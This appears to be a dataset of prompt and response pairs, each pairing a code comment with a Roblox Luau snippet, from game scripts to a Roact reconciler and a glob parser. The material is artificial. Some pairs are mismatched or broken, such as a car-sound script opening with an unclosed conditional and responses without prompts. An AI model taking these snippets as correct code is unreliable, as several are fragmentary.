		Motor:Destroy()
		Motor = nil
	end
end

module.KillRagdolls = function()
	local function KillRagdoll(Inst)
		if string.match(Inst.Name,"'s Ragdoll") then
			local hum = Inst:WaitForChild("Humanoid")
			module.KillHumanoid(hum)
		end
	end

	for _,v in pairs(workspace:GetChildren()) do
		spawn(function() KillRagdoll(v) end)
	end

	workspace.ChildAdded:Connect(function(child)
		KillRagdoll(child)
	end)
end

module.RunService = game:GetService("RunService")

module.ApplyZeroVelocity = function(Character)
	for _,v in pairs(Character:GetDescendants()) do
		if v:IsA("BasePart") then
			v.AssemblyLinearVelocity = Vector3.new(0,0,0)
			v.AssemblyAngularVelocity = Vector3.new(0,0,0)
		end
	end
end
module.KillVelocity = function(Character)
	pcall(module.ApplyZeroVelocity,Character)
	module.RunService.Stepped:wait()
	pcall(module.ApplyZeroVelocity,Character)
end

return module


Prompt: -- Warn about deprecated, async-unsafe lifecycles; relates to RFC #6:

Response: exports.warnAboutDeprecatedLifecycles = true


Prompt: --[ LOCALS ]--

Response: local ReplicatedStorageEvent = game.ReplicatedStorage:WaitForChild("AFK")


Prompt:
--- Gets an index by value, returning `nil` if no index is found.
-- @tparam table haystack to search in
-- @param needle Value to search for
-- @return The index of the value, if found
-- @treturn nil if not found

Response:
function Table.getIndex(haystack, needle)
	assert(needle ~= nil, "Needle cannot be nil")

	for index, item in pairs(haystack) do
		if needle == item then
			return index
		end
	end
	return nil
end


Prompt: -- [ SERVICES ] --

Response:
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local StarterGui = game:GetService("StarterGui")


Prompt: --Messages

Response: local DeathMessages = {"wasn't made for this world."}  --you can add more if you like :D


Prompt: -- Boolean

Response:
local defaultcooldown = 0.3

local cooldown = defaultcooldown
local lastSound = ""


Prompt: -- opcode types for getting values

Response:
local opcode_t = {
	[0] = 'ABC',
	'ABx',
	'ABC',
	'ABC',
	'ABC',
	'ABx',
	'ABC',
	'ABx',
	'ABC',
	'ABC',
	'ABC',
	'ABC',
	'ABC',
	'ABC',
	'ABC',
	'ABC',
	'ABC',
	'ABC',
	'ABC',
	'ABC',
	'ABC',
	'ABC',
	'AsBx',
	'ABC',
	'ABC',
	'ABC',
	'ABC',
	'ABC',
	'ABC',
	'ABC',
	'ABC',
	'AsBx',
	'AsBx',
	'ABC',
	'ABC',
	'ABC',
	'ABx',
	'ABC',
}

local opcode_m = {
	[0] = {b = 'OpArgR', c = 'OpArgN'},
	{b = 'OpArgK', c = 'OpArgN'},
	{b = 'OpArgU', c = 'OpArgU'},
	{b = 'OpArgR', c = 'OpArgN'},
	{b = 'OpArgU', c = 'OpArgN'},
	{b = 'OpArgK', c = 'OpArgN'},
	{b = 'OpArgR', c = 'OpArgK'},
	{b = 'OpArgK', c = 'OpArgN'},
	{b = 'OpArgU', c = 'OpArgN'},
	{b = 'OpArgK', c = 'OpArgK'},
	{b = 'OpArgU', c = 'OpArgU'},
	{b = 'OpArgR', c = 'OpArgK'},
	{b = 'OpArgK', c = 'OpArgK'},
	{b = 'OpArgK', c = 'OpArgK'},
	{b = 'OpArgK', c = 'OpArgK'},
	{b = 'OpArgK', c = 'OpArgK'},
	{b = 'OpArgK', c = 'OpArgK'},
	{b = 'OpArgK', c = 'OpArgK'},
	{b = 'OpArgR', c = 'OpArgN'},
	{b = 'OpArgR', c = 'OpArgN'},
	{b = 'OpArgR', c = 'OpArgN'},
	{b = 'OpArgR', c = 'OpArgR'},
	{b = 'OpArgR', c = 'OpArgN'},
	{b = 'OpArgK', c = 'OpArgK'},
	{b = 'OpArgK', c = 'OpArgK'},
	{b = 'OpArgK', c = 'OpArgK'},
	{b = 'OpArgR', c = 'OpArgU'},
	{b = 'OpArgR', c = 'OpArgU'},
	{b = 'OpArgU', c = 'OpArgU'},
	{b = 'OpArgU', c = 'OpArgU'},
	{b = 'OpArgU', c = 'OpArgN'},
	{b = 'OpArgR', c = 'OpArgN'},
	{b = 'OpArgR', c = 'OpArgN'},
	{b = 'OpArgN', c = 'OpArgU'},
	{b = 'OpArgU', c = 'OpArgU'},
	{b = 'OpArgN', c = 'OpArgN'},
	{b = 'OpArgU', c = 'OpArgN'},
	{b = 'OpArgU', c = 'OpArgN'},
}


Prompt: -- tween the sound to the speed

Response:
local tween = game:GetService("TweenService"):Create(waterSound,TweenInfo.new(1,Enum.EasingStyle.Linear,Enum.EasingDirection.In),{["Volume"] = math.clamp(speed/maxSpeed,0,1)}) -- end of tweencreate
tween:Play()
if speed > 0.01 and not swim.IsPlaying then
swim:Play()
elseif speed <0.01 and swim.IsPlaying then
swim:Stop()
end

end


Prompt:
--[=[
	@within TableUtil
	@function EncodeJSON
	@param value any
	@return string

	Proxy for [`HttpService:JSONEncode`](https://developer.roblox.com/en-us/api-reference/function/HttpService/JSONEncode).
]=]

Response:
local function EncodeJSON(value: any): string
	return HttpService:JSONEncode(value)
end


Prompt:
--[[
	The reconciler is the mechanism in Roact that constructs the virtual tree
	that later gets turned into concrete objects by the renderer.

	Roact's reconciler is constructed with the renderer as an argument, which
	enables switching to different renderers for different platforms or
	scenarios.

	When testing the reconciler itself, it's common to use `NoopRenderer` with
	spies replacing some methods. The default (and only) reconciler interface
	exposed by Roact right now uses `RobloxRenderer`.
]]

Response:
local function createReconciler(renderer)
	local reconciler
	local mountVirtualNode
	local updateVirtualNode
	local unmountVirtualNode

	--[[
		Unmount the given virtualNode, replacing it with a new node described by
		the given element.

		Preserves host properties, depth, and context from parent.
	]]
	local function replaceVirtualNode(virtualNode, newElement)
		local hostParent = virtualNode.hostParent
		local hostKey = virtualNode.hostKey
		local depth = virtualNode.depth
		local parentContext = virtualNode.parentContext

		unmountVirtualNode(virtualNode)
		local newNode = mountVirtualNode(newElement, hostParent, hostKey, parentContext)

		-- mountVirtualNode can return nil if the element is a boolean
		if newNode ~= nil then
			newNode.depth = depth
		end

		return newNode
	end

	--[[
		Utility to update the children of a virtual node based on zero or more
		updated children given as elements.
	]]
	local function updateChildren(virtualNode, hostParent, newChildElements)
		if config.internalTypeChecks then
			internalAssert(Type.of(virtualNode) == Type.VirtualNode, "Expected arg #1 to be of type VirtualNode")
		end

		local removeKeys = {}

		-- Changed or removed children
		for childKey, childNode in pairs(virtualNode.children) do
			local newElement = ElementUtils.getElementByKey(newChildElements, childKey)
			local newNode = updateVirtualNode(childNode, newElement)

			if newNode ~= nil then
				virtualNode.children[childKey] = newNode
			else
				removeKeys[childKey] = true
			end
		end

		for childKey in pairs(removeKeys) do
			virtualNode.children[childKey] = nil
		end

		-- Added children
		for childKey, newElement in ElementUtils.iterateElements(newChildElements) do
			local concreteKey = childKey
			if childKey == ElementUtils.UseParentKey then
				concreteKey = virtualNode.hostKey
			end

			if virtualNode.children[childKey] == nil then
				local childNode = mountVirtualNode(newElement, hostParent, concreteKey, virtualNode.context)

				-- mountVirtualNode can return nil if the element is a boolean
				if childNode ~= nil then
					childNode.depth = virtualNode.depth + 1
					virtualNode.children[childKey] = childNode
				end
			end
		end
	end

	local function updateVirtualNodeWithChildren(virtualNode, hostParent, newChildElements)
		updateChildren(virtualNode, hostParent, newChildElements)
	end

	local function updateVirtualNodeWithRenderResult(virtualNode, hostParent, renderResult)
		if Type.of(renderResult) == Type.Element
			or renderResult == nil
			or typeof(renderResult) == "boolean"
		then
			updateChildren(virtualNode, hostParent, renderResult)
		else
			error(("%s\n%s"):format(
				"Component returned invalid children:",
				virtualNode.currentElement.source or "<enable element tracebacks>"
			), 0)
		end
	end

	--[[
		Unmounts the given virtual node and releases any held resources.
	]]
	function unmountVirtualNode(virtualNode)
		if config.internalTypeChecks then
			internalAssert(Type.of(virtualNode) == Type.VirtualNode, "Expected arg #1 to be of type VirtualNode")
		end

		local kind = ElementKind.of(virtualNode.currentElement)

		if kind == ElementKind.Host then
			renderer.unmountHostNode(reconciler, virtualNode)
		elseif kind == ElementKind.Function then
			for _, childNode in pairs(virtualNode.children) do
				unmountVirtualNode(childNode)
			end
		elseif kind == ElementKind.Stateful then
			virtualNode.instance:__unmount()
		elseif kind == ElementKind.Portal then
			for _, childNode in pairs(virtualNode.children) do
				unmountVirtualNode(childNode)
			end
		elseif kind == ElementKind.Fragment then
			for _, childNode in pairs(virtualNode.children) do
				unmountVirtualNode(childNode)
			end
		else
			error(("Unknown ElementKind %q"):format(tostring(kind), 2))
		end
	end

	local function updateFunctionVirtualNode(virtualNode, newElement)
		local children = newElement.component(newElement.props)

		updateVirtualNodeWithRenderResult(virtualNode, virtualNode.hostParent, children)

		return virtualNode
	end

	local function updatePortalVirtualNode(virtualNode, newElement)
		local oldElement = virtualNode.currentElement
		local oldTargetHostParent = oldElement.props.target

		local targetHostParent = newElement.props.target

		assert(renderer.isHostObject(targetHostParent), "Expected target to be host object")

		if targetHostParent ~= oldTargetHostParent then
			return replaceVirtualNode(virtualNode, newElement)
		end

		local children = newElement.props[Children]

		updateVirtualNodeWithChildren(virtualNode, targetHostParent, children)

		return virtualNode
	end

	local function updateFragmentVirtualNode(virtualNode, newElement)
		updateVirtualNodeWithChildren(virtualNode, virtualNode.hostParent, newElement.elements)

		return virtualNode
	end

	--[[
		Update the given virtual node using a new element describing what it
		should transform into.

		`updateVirtualNode` will return a new virtual node that should replace
		the passed in virtual node. This is because a virtual node can be
		updated with an element referencing a different component!

		In that case, `updateVirtualNode` will unmount the input virtual node,
		mount a new virtual node, and return it in this case, while also issuing
		a warning to the user.
	]]
	function updateVirtualNode(virtualNode, newElement, newState)
		if config.internalTypeChecks then
			internalAssert(Type.of(virtualNode) == Type.VirtualNode, "Expected arg #1 to be of type VirtualNode")
		end
		if config.typeChecks then
			assert(
				Type.of(newElement) == Type.Element or typeof(newElement) == "boolean" or newElement == nil,
				"Expected arg #2 to be of type Element, boolean, or nil"
			)
		end

		-- If nothing changed, we can skip this update
		if virtualNode.currentElement == newElement and newState == nil then
			return virtualNode
		end

		if typeof(newElement) == "boolean" or newElement == nil then
			unmountVirtualNode(virtualNode)
			return nil
		end

		if virtualNode.currentElement.component ~= newElement.component then
			return replaceVirtualNode(virtualNode, newElement)
		end

		local kind = ElementKind.of(newElement)

		local shouldContinueUpdate = true

		if kind == ElementKind.Host then
			virtualNode = renderer.updateHostNode(reconciler, virtualNode, newElement)
		elseif kind == ElementKind.Function then
			virtualNode = updateFunctionVirtualNode(virtualNode, newElement)
		elseif kind == ElementKind.Stateful then
			shouldContinueUpdate = virtualNode.instance:__update(newElement, newState)
		elseif kind == ElementKind.Portal then
			virtualNode = updatePortalVirtualNode(virtualNode, newElement)
		elseif kind == ElementKind.Fragment then
			virtualNode = updateFragmentVirtualNode(virtualNode, newElement)
		else
			error(("Unknown ElementKind %q"):format(tostring(kind), 2))
		end

		-- Stateful components can abort updates via shouldUpdate. If that
		-- happens, we should stop doing stuff at this point.
		if not shouldContinueUpdate then
			return virtualNode
		end

		virtualNode.currentElement = newElement

		return virtualNode
	end

	--[[
		Constructs a new virtual node but not does mount it.
	]]
	local function createVirtualNode(element, hostParent, hostKey, context)
		if config.internalTypeChecks then
			internalAssert(renderer.isHostObject(hostParent) or hostParent == nil, "Expected arg #2 to be a host object")
			internalAssert(typeof(context) == "table" or context == nil, "Expected arg #4 to be of type table or nil")
		end
		if config.typeChecks then
			assert(hostKey ~= nil, "Expected arg #3 to be non-nil")
			assert(
				Type.of(element) == Type.Element or typeof(element) == "boolean",
				"Expected arg #1 to be of type Element or boolean"
			)
		end

		return {
			[Type] = Type.VirtualNode,
			currentElement = element,
			depth = 1,
			children = {},
			hostParent = hostParent,
			hostKey = hostKey,
			context = context,
			-- This copy of context is useful if the element gets replaced
			-- with an element of a different component type
			parentContext = context,
		}
	end

	local function mountFunctionVirtualNode(virtualNode)
		local element = virtualNode.currentElement

		local children = element.component(element.props)

		updateVirtualNodeWithRenderResult(virtualNode, virtualNode.hostParent, children)
	end

	local function mountPortalVirtualNode(virtualNode)
		local element = virtualNode.currentElement

		local targetHostParent = element.props.target
		local children = element.props[Children]

		assert(renderer.isHostObject(targetHostParent), "Expected target to be host object")

		updateVirtualNodeWithChildren(virtualNode, targetHostParent, children)
	end

	local function mountFragmentVirtualNode(virtualNode)
		local element = virtualNode.currentElement
		local children = element.elements

		updateVirtualNodeWithChildren(virtualNode, virtualNode.hostParent, children)
	end

	--[[
		Constructs a new virtual node and mounts it, but does not place it into
		the tree.
	]]
	function mountVirtualNode(element, hostParent, hostKey, context)
		if config.internalTypeChecks then
			internalAssert(renderer.isHostObject(hostParent) or hostParent == nil, "Expected arg #2 to be a host object")
			internalAssert(typeof(context) == "table" or context == nil, "Expected arg #4 to be of type table or nil")
		end
		if config.typeChecks then
			assert(hostKey ~= nil, "Expected arg #3 to be non-nil")
			assert(
				Type.of(element) == Type.Element or typeof(element) == "boolean",
				"Expected arg #1 to be of type Element or boolean"
			)
		end

		-- Boolean values render as nil to enable terse conditional rendering.
		if typeof(element) == "boolean" then
			return nil
		end

		local kind = ElementKind.of(element)

		local virtualNode = createVirtualNode(element, hostParent, hostKey, context)

		if kind == ElementKind.Host then
			renderer.mountHostNode(reconciler, virtualNode)
		elseif kind == ElementKind.Function then
			mountFunctionVirtualNode(virtualNode)
		elseif kind == ElementKind.Stateful then
			element.component:__mount(reconciler, virtualNode)
		elseif kind == ElementKind.Portal then
			mountPortalVirtualNode(virtualNode)
		elseif kind == ElementKind.Fragment then
			mountFragmentVirtualNode(virtualNode)
		else
			error(("Unknown ElementKind %q"):format(tostring(kind), 2))
		end

		return virtualNode
	end

	--[[
		Constructs a new Roact virtual tree, constructs a root node for
		it, and mounts it.
	]]
	local function mountVirtualTree(element, hostParent, hostKey)
		if config.typeChecks then
			assert(Type.of(element) == Type.Element, "Expected arg #1 to be of type Element")
			assert(renderer.isHostObject(hostParent) or hostParent == nil, "Expected arg #2 to be a host object")
		end

		if hostKey == nil then
			hostKey = "RoactTree"
		end

		local tree = {
			[Type] = Type.VirtualTree,
			[InternalData] = {
				-- The root node of the tree, which starts into the hierarchy of
				-- Roact component instances.
				rootNode = nil,
				mounted = true,
			},
		}

		tree[InternalData].rootNode = mountVirtualNode(element, hostParent, hostKey)

		return tree
	end

	--[[
		Unmounts the virtual tree, freeing all of its resources.

		No further operations should be done on the tree after it's been
		unmounted, as indicated by its the `mounted` field.
	]]
	local function unmountVirtualTree(tree)
		local internalData = tree[InternalData]
		if config.typeChecks then
			assert(Type.of(tree) == Type.VirtualTree, "Expected arg #1 to be a Roact handle")
			assert(internalData.mounted, "Cannot unmounted a Roact tree that has already been unmounted")
		end

		internalData.mounted = false

		if internalData.rootNode ~= nil then
			unmountVirtualNode(internalData.rootNode)
		end
	end

	--[[
		Utility method for updating the root node of a virtual tree given a new
		element.
	]]
	local function updateVirtualTree(tree, newElement)
		local internalData = tree[InternalData]
		if config.typeChecks then
			assert(Type.of(tree) == Type.VirtualTree, "Expected arg #1 to be a Roact handle")
			assert(Type.of(newElement) == Type.Element, "Expected arg #2 to be a Roact Element")
		end

		internalData.rootNode = updateVirtualNode(internalData.rootNode, newElement)

		return tree
	end

	reconciler = {
		mountVirtualTree = mountVirtualTree,
		unmountVirtualTree = unmountVirtualTree,
		updateVirtualTree = updateVirtualTree,

		createVirtualNode = createVirtualNode,
		mountVirtualNode = mountVirtualNode,
		unmountVirtualNode = unmountVirtualNode,
		updateVirtualNode = updateVirtualNode,
		updateVirtualNodeWithChildren = updateVirtualNodeWithChildren,
		updateVirtualNodeWithRenderResult = updateVirtualNodeWithRenderResult,
	}

	return reconciler
end

return createReconciler


Prompt:
--[[
	shared.getdate() --Returns the current date
	shared.gettime() --Returns the current time
		shared.gettime(true) --Returns the current time in 24 hour format
	shared.getdatetime() --Returns the current time and date
		shared.getdatetime(true) --Returns the current time and date in 24 hour format
]]

Response:
months = {"January","February","March","April","May","June","July","August","September","October","November","December"}
daysinmonth = {31,28,31,30,31,30,31,31,30,31,30,31}
_G.gettime = function(hour24)
	time = tick()
	tsec = time % 86400
	hour = math.floor((tsec/60/60)%24)
	min = math.floor((tsec/60)%60)
	sec = math.floor(tsec%60)
	if sec < 10 then
		sec = "0"..sec
	end
	if min < 10 then
		min = "0"..min
	end
	if hour24 ~= true then
		if hour > 12 then
			hour = hour - 12
			sec = sec.." PM"
		else
			sec = sec.." AM"
		end
	end
	string = hour..":"..min..":"..sec
	return string
end
function shared.getdate()
	time = tick()
	year = math.floor(time/60/60/24/365.25+1970)
	day = math.ceil(time/60/60/24%365.25)
	for i=1, #daysinmonth do
		if day > daysinmonth[i] then
			day = day - daysinmonth[i]
		else
			month = months[i]
			break
		end
	end
	string = month.." "..day..", "..year
	return string
end
function shared.getdatetime(hour24)
	string = shared.gettime(hour24).." "..shared.getdate()
	return string
end


Prompt: -- << SETUP >>

Response:
local character = main.player.Character or main.player.CharacterAdded:Wait()
local humanoid = character:WaitForChild("Humanoid")
main.humanoidRigType = humanoid.RigType
wait(1)
for speedCommandName, _ in pairs(main.commandSpeeds) do
	if main.commandsActive[speedCommandName] then
		main.commandsActive[speedCommandName] = nil
		main:GetModule("cf"):ActivateClientCommand(speedCommandName)
	end
end


Prompt: -- Libraries

Response:
local Libraries = Tool:WaitForChild 'Libraries'
local Make = require(Libraries:WaitForChild 'Make')
local ListenForManualWindowTrigger = require(Tool.Core:WaitForChild('ListenForManualWindowTrigger'))


Prompt: -- Make signal strict

Response:
setmetatable(Signal, {
	__index = function(tb, key)
		error(("Attempt to get Signal::%s (not a valid member)"):format(tostring(key)), 2)
	end,
	__newindex = function(tb, key, value)
		error(("Attempt to set Signal::%s (not a valid member)"):format(tostring(key)), 2)
	end
})

return Signal


Response:
local  Paint = false

script.Parent.MouseButton1Click:connect(function()
	Paint = not Paint
	handler:FireServer("Lapis",Paint)
end)


Prompt: -- Class

Response:
local DraggerClass = {}
DraggerClass.__index = DraggerClass
DraggerClass.__type = "Dragger"

function DraggerClass:__tostring()
	return DraggerClass.__type
end


Prompt:
--[[
		___      _______                _
	   / _ |____/ ___/ /  ___ ____ ___ (_)__
	  / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
	 /_/ |_|   \___/_//_/\_,_/___/___/_/___/
 						SecondLogic @ Inspare
]]

Response:
if key == "u" then
	if script.Parent.Rev.Sound == true then
	script.Parent.IsOn.Value = false
end
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local handler = car:WaitForChild("AC6_FE_Sounds")
local _Tune = require(car["A-Chassis Tune"])
local on = 0
local throt=0
local redline=0

script:WaitForChild("Rev")

for i,v in pairs(car.DriveSeat:GetChildren()) do
	for _,a in pairs(script:GetChildren()) do
		if v.Name==a.Name then v:Stop() wait() v:Destroy() end
	end
end

handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,script.Rev.Volume,true)
handler:FireServer("playSound","Rev")
car.DriveSeat:WaitForChild("Rev")

while wait() do
	local _RPM = script.Parent.Values.RPM.Value

	if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle/100 then
		throt = math.max(.3,throt-.2)
	else
		throt = math.min(1,throt+.1)
	end
	if script.Parent.Values.RPM.Value > _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle/100 then
		redline=.5
	else
		redline=1
	end
	if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
	local Pitch = math.max((((script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline))*on^2),script.Rev.SetPitch.Value)
	if FE then
		handler:FireServer("updateSound","Rev",script.Rev.SoundId,Pitch,script.Rev.Volume)
	else
		car.DriveSeat.Rev.Pitch = Pitch
	end
end


Response:
Humanoid.Changed:Connect(function()
if Enum.Material[Humanoid.FloorMaterial.Name] then
script.Parent.CurrentMaterial.Value = Humanoid.FloorMaterial.Name
else
script.Parent.CurrentMaterial.Value = DefaultSound
end
end)

function TurnOffSounds()
for i,v in pairs(script.Parent:GetChildren()) do
if v.ClassName == "Sound" then
v.Playing = false
end
end
end

function MakeSound()
for i,v in pairs(script.Parent:GetChildren()) do
if v.ClassName == "Sound" then
if v.Name ~= script.Parent.CurrentMaterial.Value then
v.Playing = false
else
if script.Parent.CurrentMaterial.Value  == 'Air' and ToggleAirSound == true then
v.Playing = true
v.PlaybackSpeed = Humanoid.WalkSpeed / 18
else
if v.Name ~= 'Air' then
v.Playing = true
v.PlaybackSpeed = Humanoid.WalkSpeed / 18
end
end
end
end
end
end

function MakeDefaultSound()
for i,v in pairs(script.Parent:GetChildren()) do
if v.ClassName == "Sound" then
if v.Name ~= DefaultSound then
v.Playing = false
else
v.Playing = true
v.PlaybackSpeed = Humanoid.WalkSpeed / 18
end
end
end
end

while wait(1/10) do
local Moving = Humanoid.MoveDirection ~= Vector3.new(0,0,0)
if Moving then
if script.Parent:FindFirstChild(script.Parent.CurrentMaterial.Value) and script.Parent.CurrentMaterial.Value ~= nil then
MakeSound()
else
MakeDefaultSound()
end
else
TurnOffSounds()
end
end


Response:
local CAS = game:GetService("ContextActionService")

CAS:BindAction("Sprint", sprint, true, bind1, bind2) -- Binds the keybinds to the sprint function and creates a mobile button for it
CAS:SetPosition("Sprint", UDim2.new(0.7,0,0,0)) -- Changes the position of the mobile button within the context frame, to read more about how UDim2 positions work, go to https://developer.roblox.com/en-us/api-reference/datatype/UDim2
CAS:SetTitle("Sprint", "Ctrl") -- Sets the text on the mobile button, replace Ctrl with any text you desire


Prompt: -- ROBLOX deviation START: defining parse as callable table

Response:
local parse_
local parse = setmetatable({}, {
	__call = function(_self: any, input: string, options: Object?)
		return parse_(input, options)
	end,
})

function parse_(input, options) -- ROBLOX deviation END
	if typeof(input) ~= "string" then
		error(Error.new("TypeError: Expected a string"))
	end

	input = REPLACEMENTS[input] or input

	local opts = Object.assign({}, options)
	local max = if typeof(opts.maxLength) == "number" then math.min(MAX_LENGTH, opts.maxLength) else MAX_LENGTH

	local len = #input
	if len > max then
		error(
			Error.new(
				("SyntaxError: Input length: %s, exceeds maximum allowed length: %s"):format(
					tostring(len),
					tostring(max)
				)
			)
		)
	end

	local bos = { type = "bos", value = "", output = opts.prepend or "" }
	local tokens = { bos }

	local capture = if Boolean.toJSBoolean(opts.capture) then "" else "?:"
	local win32 = utils.isWindows(options)

	-- create constants based on platform, for windows or posix
	local PLATFORM_CHARS = constants.globChars(win32)
	local EXTGLOB_CHARS = constants.extglobChars(PLATFORM_CHARS)

	local DOT_LITERAL, PLUS_LITERAL, SLASH_LITERAL, ONE_CHAR, DOTS_SLASH, NO_DOT, NO_DOT_SLASH, NO_DOTS_SLASH, QMARK, QMARK_NO_DOT, STAR, START_ANCHOR =
		PLATFORM_CHARS.DOT_LITERAL,
		PLATFORM_CHARS.PLUS_LITERAL,
		PLATFORM_CHARS.SLASH_LITERAL,
		PLATFORM_CHARS.ONE_CHAR,
		PLATFORM_CHARS.DOTS_SLASH,
		PLATFORM_CHARS.NO_DOT,
		PLATFORM_CHARS.NO_DOT_SLASH,
		PLATFORM_CHARS.NO_DOTS_SLASH,
		PLATFORM_CHARS.QMARK,
		PLATFORM_CHARS.QMARK_NO_DOT,
		PLATFORM_CHARS.STAR,
		PLATFORM_CHARS.START_ANCHOR

	local function globstar(opts)
		return ("(%s(?:(?!%s%s).)*?)"):format(
			capture,
			START_ANCHOR,
			if Boolean.toJSBoolean(opts.dot) then DOTS_SLASH else DOT_LITERAL
		)
	end

	local nodot = if Boolean.toJSBoolean(opts.dot) then "" else NO_DOT
	local qmarkNoDot = if Boolean.toJSBoolean(opts.dot) then QMARK else QMARK_NO_DOT
	local star = if opts.bash == true then globstar(opts) else STAR

	if Boolean.toJSBoolean(opts.capture) then
		star = ("(%s)"):format(star)
	end

	-- minimatch options support
	if typeof(opts.noext) == "boolean" then
		opts.noextglob = opts.noext
	end

	local state = {
		input = input,
		index = 0,
		start = 1,
		dot = opts.dot == true,
		consumed = "",
		output = "",
		prefix = "",
		backtrack = false,
		negated = false,
		brackets = 0,
		braces = 0,
		parens = 0,
		quotes = 0,
		globstar = false,
		tokens = tokens,
	}

	input = utils.removePrefix(input, state)
	len = #input

	local extglobs: Array<Token> = {}
	local braces: Array<Token> = {}
	local stack: Array<string> = {}
	local prev: Token = bos
	local value

	--[[*
	 * Tokenizing helpers
	 ]]

	local function eos()
		return state.index == len
	end
	state.peek = function(n_: number?)
		local n = if n_ ~= nil then n_ else 1
		return string.sub(input, state.index + n, state.index + n)
	end
	local peek = state.peek
	state.advance = function()
		state.index += 1
		return string.sub(input, state.index, state.index) or ""
	end
	local advance = state.advance
	local function remaining()
		return string.sub(input, state.index + 1)
	end
	local function consume(value_: string?, num_: number?)
		local value = value_ or ""
		local num = num_ or 0
		state.consumed ..= value
		state.index += num
	end

	local function append(token: Token)
		state.output ..= if token.output ~= nil then token.output else token.value
		consume(token.value)
	end

	local function negate()
		local count = 1

		while peek() == "!" and (peek(2) ~= "(" or peek(3) == "?") do
			advance()
			state.start += 1
			count += 1
		end

		if count % 2 == 0 then
			return false
		end

		state.negated = true
		state.start += 1
		return true
	end

	local function increment(type)
		state[type] += 1
		table.insert(stack, type)
	end

	local function decrement(type)
		state[type] -= 1
		table.remove(stack)
	end

	--[[*
	 * Push tokens onto the tokens array. This helper speeds up
	 * tokenizing by 1) helping us avoid backtracking as much as possible,
	 * and 2) helping us avoid creating extra tokens when consecutive
	 * characters are plain text. This improves performance and simplifies
	 * lookbehinds.
	 ]]

	local function push(tok: Token)
		if prev.type == "globstar" then
			local isBrace = state.braces > 0 and (tok.type == "comma" or tok.type == "brace")
			local isExtglob = tok.extglob == true
				or if #extglobs ~= 0 then tok.type == "pipe" or tok.type == "paren" else #extglobs

			if tok.type ~= "slash" and tok.type ~= "paren" and not isBrace and not isExtglob then
				state.output = String.slice(state.output, 0, -#prev.output)
				prev.type = "star"
				prev.value = "*"
				prev.output = star
				state.output ..= prev.output
			end
		end

		if #extglobs ~= 0 and tok.type ~= "paren" then
			extglobs[#extglobs].inner ..= tok.value
		end

		if Boolean.toJSBoolean(tok.value) or Boolean.toJSBoolean(tok.output) then
			append(tok)
		end
		if prev ~= nil and prev.type == "text" and tok.type == "text" then
			prev.value ..= tok.value
			prev.output = (prev.output or "") .. tok.value
			return
		end

		tok.prev = prev
		table.insert(tokens, tok)
		prev = tok
	end

	local function extglobOpen(type, value)
		local token = Object.assign({}, EXTGLOB_CHARS[value], { conditions = 1, inner = "" })

		token.prev = prev
		token.parens = state.parens
		token.output = state.output
		local output = (if Boolean.toJSBoolean(opts.capture) then "(" else "") .. token.open

		increment("parens")
		push({
			type = type,
			value = value,
			output = if Boolean.toJSBoolean(state.output) then "" else ONE_CHAR,
		})
		push({ type = "paren", extglob = true, value = advance(), output = output })
		table.insert(extglobs, token)
	end

	local function extglobClose(token: Token)
		local output = token.close .. (if Boolean.toJSBoolean(opts.capture) then ")" else "")
		local rest

		if token.type == "negate" then
			local extglobStar = star

			if token.inner ~= nil and #token.inner > 1 and token.inner:find("/", 1, true) ~= nil then
				extglobStar = globstar(opts)
			end

			if extglobStar ~= star or eos() or RegExp("^\\)+$"):test(remaining()) then
				token.close = (")$))%s"):format(extglobStar)
				output = token.close
			end

			if
				token.inner:find("*", 1, true) ~= nil
				and (function()
					rest = remaining()
					return rest
				end)()
				and RegExp("^\\.[^\\\\/.]+$"):test(rest)
			then
				-- Any non-magical string (`.ts`) or even nested expression (`.{ts,tsx}`) can follow after the closing parenthesis.
				-- In this case, we need to parse the string and use it in the output of the original pattern.
				-- Suitable patterns: `/!(*.d).ts`, `/!(*.d).{ts,tsx}`, `**/!(*-dbg).@(js)`.
				--
				-- Disabling the `fastpaths` option due to a problem with parsing strings as `.ts` in the pattern like `**/!(*.d).ts`.
				local expression = parse(rest, Object.assign({}, options, { fastpaths = false })).output

				token.close = (")%s)%s)"):format(expression, extglobStar)
				output = token.close
			end

			if token.prev.type == "bos" then
				state.negatedExtglob = true
			end
		end

		push({ type = "paren", extglob = true, value = value, output = output })
		decrement("parens")
	end

	--[[*
	 * Fast paths
	 ]]

	if opts.fastpaths ~= false and not RegExp('(^[*!]|[/()[\\]{}"])'):test(input) then
		local backslashes = false

		-- ROBLOX deviation: using custom string.replace implementation
		local output = String_replace(input, REGEX_SPECIAL_CHARS_BACKREF, function(m, esc, chars, first, rest, index)
			if first == "\\" then
				backslashes = true
				return m
			end

			if first == "?" then
				if Boolean.toJSBoolean(esc) then
					return esc .. first .. if rest ~= nil then string.rep(QMARK, #rest) else ""
				end
				if index == 0 then
					return qmarkNoDot .. if rest ~= nil then string.rep(QMARK, #rest) else ""
				end
				return string.rep(QMARK, #chars)
			end

			if first == "." then
				return string.rep(DOT_LITERAL, #chars)
			end

			if first == "*" then
				if Boolean.toJSBoolean(esc) then
					return esc .. first .. if rest ~= nil then star else ""
				end
				return star
			end
			return if Boolean.toJSBoolean(esc) then m else ("\\%s"):format(m)
		end)

		if backslashes == true then
			if opts.unescape == true then
				-- ROBLOX FIXME START: change :replace to working solution
				error("not implemented")
				-- output = output:replace(RegExp("\\", "g")(""))
				-- ROBLOX FIXME END
			else
				-- ROBLOX FIXME START: change :replace to working solution
				error("not implemented")
				-- output = output:replace(RegExp("\\+", "g"), function(m)
				-- 	return if #m % 2 == 0 then "\\\\" else (if Boolean.toJSBoolean(m) then "\\" else "")
				-- end)
				-- ROBLOX FIXME END
			end
		end

		if output == input and opts.contains == true then
			state.output = input
			return state
		end

		state.output = utils.wrapOutput(output, state, options)
		return state
	end

	--[[*
	 * Tokenize input until we reach end-of-string
	 ]]

	while not eos() do
		value = advance()

		if value == "\u{0000}" then
			continue
		end

		--[[*
		 * Escaped characters
		 ]]

		if value == "\\" then
			local next = peek()

			if next == "/" and opts.bash ~= true then
				continue
			end

			if next == "." or next == ";" then
				continue
			end

